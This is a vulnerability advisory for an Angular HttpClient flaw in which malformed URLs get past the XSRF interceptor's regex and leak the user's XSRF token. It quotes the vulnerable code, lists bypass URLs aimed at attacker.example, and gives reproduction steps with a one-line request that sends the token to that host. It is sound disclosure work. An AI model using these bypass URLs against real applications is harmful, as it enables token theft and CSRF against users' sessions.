CVE-2026-111753
Patch Available.
This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.
Overview
Angular is a TypeScript-based web development platform for building scalable single-page and server-side rendered applications. It provides a modular architecture, powerful dependency injection, and built-in tools for building modern, performant, and maintainable applications across web, mobile, and desktop environments.
An information exposure vulnerability (CVE-2026-111753) has been identified in the @angular/common HTTP client (HttpClient), which allows attackers to obtain a user's XSRF token by having the application send a request to a crafted URL that points to an attacker-controlled origin. With the leaked token, the attacker can perform Cross-Site Request Forgery (CSRF) attacks against the victim's session.
Per OWASP: Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
This issue affects multiple versions of Angular.
Details
Module Info
- Product: Angular
- Affected packages:
@angular/common - Affected versions:
- <=19.2.25
- >=20.0.0 <20.3.34
- >=21.0.0 <21.0.3
- GitHub repository: https://github.com/angular/angular
- Published packages: https://www.npmjs.com/package/@angular/common
- Package manager: npm
- Fixed in:
- OSS Angular v20.3.34 and v21.0.3
- NES for Angular
Vulnerability Info
This High-severity vulnerability is found in the @angular/common package in multiple versions of Angular. When XSRF protection is enabled (the default for HttpClient), the XSRF interceptor reads the token from the XSRF-TOKEN cookie and adds it as the X-XSRF-TOKEN header to every request other than GET and HEAD, such as POST, PUT, DELETE and PATCH. To avoid sending the token to other origins, the interceptor skips any URL that a regular expression recognizes as absolute or protocol-relative:
const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i;
export function xsrfInterceptorFn(
req: HttpRequest<unknown>,
next: HttpHandlerFn,
): Observable<HttpEvent<unknown>> {
if (
!inject(XSRF_ENABLED) ||
req.method === 'GET' ||
req.method === 'HEAD' ||
ABSOLUTE_URL_REGEX.test(req.url)
) {
return next(req);
}
const token = inject(HttpXsrfTokenExtractor).getToken();
const headerName = inject(XSRF_HEADER_NAME);
if (token != null && !req.headers.has(headerName)) {
req = req.clone({headers: req.headers.set(headerName, token)});
}
return next(req);
}Older Angular versions perform the same kind of check inside the HttpXsrfInterceptor class, either with this regular expression or with a case-insensitive prefix test for http:// and https://. The URLs below get past both forms of the check.
The browser does not resolve the request URL with this regular expression. fetch() and XMLHttpRequest.open() use the WHATWG URL parser, which for http: and https: URLs treats backslashes as forward slashes, strips leading and trailing control characters and spaces, and removes tab, newline and carriage return characters anywhere in the input. URLs such as /\attacker.example/api, https:\\attacker.example/api, //attacker.example/api with a leading space, or //attacker.example/api with a tab between the two slashes therefore do not match the regular expression. The interceptor treats them as relative same-origin URLs and attaches the token, while the browser sends the request to attacker.example. If the attacker's server accepts the request and the custom header through CORS, it receives the user's valid XSRF token.
Steps to Reproduce
- In an Angular application served over
https:withHttpClientand its default XSRF protection, set anXSRF-TOKENcookie on the application's origin, and havehttps://attacker.exampleallow the request and theX-XSRF-TOKENheader through CORS. - Send a mutating request to a URL that the regular expression does not recognize as absolute:
this.http.post('/\\attacker.example/api', {}).subscribe(); - Observe that the browser sends the request to
https://attacker.example/apiand that it carries theX-XSRF-TOKENheader with the token value.
Mitigation
Angular versions prior to 20 were already End-of-Life when this CVE was published and will not receive any updates to address this issue. For more information see here.
Users of the affected components should apply one of the following mitigations:
- Migrate affected applications to a patched version of Angular.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.
Credits
- Jaime Burgos (finder)